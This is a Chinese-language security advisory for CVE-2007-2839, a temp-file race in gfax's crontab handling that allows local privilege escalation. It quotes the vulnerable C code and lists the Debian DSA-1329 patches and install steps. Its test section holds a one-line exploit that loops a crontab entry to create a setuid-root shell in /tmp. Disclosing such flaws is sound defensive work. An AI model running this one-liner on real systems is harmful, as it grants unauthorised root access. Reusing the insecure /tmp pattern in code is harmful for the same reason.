安全研究

安全漏洞
gfax不安全临时文件本地权限提升漏洞

发布日期:2007-07-05
更新日期:2007-07-09

受影响系统:
GFAX GFAX 0.7.6
描述:
BUGTRAQ  ID: 24780
CVE(CAN) ID: CVE-2007-2839

gfax是网络传真程序的GHOME前端。

gfax在处理临时文件时存在漏洞,本地攻击者可能此漏洞提升自己的权限。

gfax的src/mgett_setup.c文件中的delete_crontab_entry()函数以不安全的方式处理了临时文件:

   /* if it's NULL then nuke the faxrunq crontab entry.  */
    if ((fin = fopen("/etc/crontab", "r")) == NULL) {
        do_message(_("\nCan't open /etc/crontab\n"));
        return;
    }
    if ((fout = fopen("/tmp/crontab", "w")) == NULL) {
        do_message(_("\nCan't create /tmp/crontab\n"));
        return;
    }
    
    while (fgets(buf, 128, fin) != NULL) {
            fputs(buf, fout);
    fclose(fout);
    fclose(fin);

    /* now copy the new file back to /etc */
    if ((fin = fopen("/tmp/crontab", "r")) == NULL) {
        do_message(_("\nCan't open /tmp/crontab\n"));
        return;
    }
    if ((fout = fopen("/etc/crontab", "w")) == NULL) {
        do_message(_("\nCan't create /etc/crontab\n"));
        return;
    }

    while ((c = fgetc(fin)) != EOF)
        fputc(c, fout);

    fclose(fout);
    fclose(fin);
    remove("/tmp/crontab");

这可能导致向/etc/crontab文件中写入任意命令。如果/tmp/crontab已存在的话(非root用户所有),就会被截短并删除,但所有者仍保持为非root用户,因此第一个和第二个拷贝之间就存在竞争条件,允许向/etc/crontab附加任意行。

<*来源:Steve Kemp (skx@debian.org
  
  链接:http://secunia.com/advisories/25937/
        http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;bug=431893
        http://www.debian.org/security/2007/dsa-1329
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

skx@vain:~$ while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done

建议:
厂商补丁:

Debian
------
Debian已经为此发布了一个安全公告(DSA-1329-1)以及相应补丁:
DSA-1329-1:New gfax packages fix privilege escalation
链接:http://www.debian.org/security/2007/dsa-1329

补丁下载:

Source archives:

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2.orig.tar.gz
Size/MD5 checksum:   396636 815523780287a97133e85585f0319a20
http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1.diff.gz
Size/MD5 checksum:    14946 7393373a40448daf52e4b64ff1d4f6a7
http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1.dsc
Size/MD5 checksum:      632 ed841ab6349ff80527cb49fb1fc6595f

alpha architecture (DEC Alpha)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_alpha.deb
Size/MD5 checksum:   125376 57c5e15d94699b99fabbf4f692df667e

amd64 architecture (AMD x86_64 (AMD64))

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_amd64.deb
Size/MD5 checksum:   123102 9926dfcd4d62b4407f58f34e31a069c3

arm architecture (ARM)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_arm.deb
Size/MD5 checksum:   118812 57168963066d0f0473ea9e34f8d208ef

i386 architecture (Intel ia32)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_i386.deb
Size/MD5 checksum:   122306 1e13b2d599ca2e0a2a63bda455ab13ab

ia64 architecture (Intel ia64)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_ia64.deb
Size/MD5 checksum:   133284 c87980b9a8895817fce94c40b20f52f7

m68k architecture (Motorola Mc680x0)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_m68k.deb
Size/MD5 checksum:   117290 8f7352fcec87f588168777690c081f99

s390 architecture (IBM S/390)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_s390.deb
Size/MD5 checksum:   122588 e23038de978cf94e5d1a710a406797f6

sparc architecture (Sun SPARC/UltraSPARC)

http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2-11sarge1_sparc.deb
Size/MD5 checksum:   118830 2ed8af350418bdfaebea02e318c1e0f3

补丁安装方法:

1. 手工安装补丁包:

  首先,使用下面的命令来下载补丁软件:
  # wget url  (url是补丁下载链接地址)

  然后,使用下面的命令来安装补丁:  
  # dpkg -i file.deb (file是相应的补丁名)

2. 使用apt-get自动安装补丁包:

   首先,使用下面的命令更新内部数据库:
   # apt-get update
  
   然后,使用下面的命令安装更新软件包:
   # apt-get upgrade

浏览次数:2966
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障